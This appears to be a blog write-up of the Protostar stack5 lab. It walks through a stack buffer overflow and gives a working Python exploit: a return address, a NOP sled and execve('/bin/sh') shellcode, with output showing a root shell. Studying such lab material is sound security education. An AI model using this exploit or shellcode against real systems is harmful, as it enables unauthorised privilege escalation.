As seen the eip is overwritten by 0x54’s which is the hex for ‘T’. Therefore, upto before T, we get a seg fault and T will rewrite the eip. To create a NOP sled, add 200 NOPs and then a shellcode from shellstorm. Placing the address next to that of the T’s as the jump address at the eip, the interrupt works once but from the home directory gives an illegal instruction. This is so because of the address randomization and changes due to directory holding parameters etc. Therefore, NOP sled is added and then the address for the jump is made to 30 more than the immediately next stack pointer to aid the sled to reach the sigtrap. After this the code is the following.

1
2
3
import struct
a = struct.pack("I", 0xbffff6f0)
print("A"*19*4 + a + "\\\\x90"*100 + "\\\\xcc"*4)

Now to execute the exploit, the shellcode needs to be placed in place of the sig traps.

1
2
3
import struct
a = struct.pack("I", 0xbffff6f0)
print("A"*19*4 + a + "\\\\x90"*100 + "\\\\x31\\\\xc0\\\\x50\\\\x68\\\\x2f\\\\x2f\\\\x73\\\\x68\\\\x68\\\\x2f\\\\x62\\\\x69\\\\x6e\\\\x89\\\\xe3\\\\x89\\\\xc1\\\\x89\\\\xc2\\\\xb0\\\\x0b\\\\xcd\\\\x80\\\\x31\\\\xc0\\\\x40\\\\xcd\\\\x80")

By executing this code and piping the output to the executable the shell does work but exits. Execve replaces the current process and thus the current one exits which is connected to the stdin. After this process ends, the stdin gives EOF to the input of the shell that has been executed. This can be confirmed when the /bin/dash is executed and exits. Therefore, to keep the stdin open for the shell, the command cat is used which will help redirect the input to the shell and print the output to stdout.

1
2
3
4
5
user@protostar:~$ (python pp.py; cat) | /opt/protostar/bin/stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)
whoami
root

Thus the exploit helps execute the shell to get root.


This post is licensed under CC BY 4.0 by the author.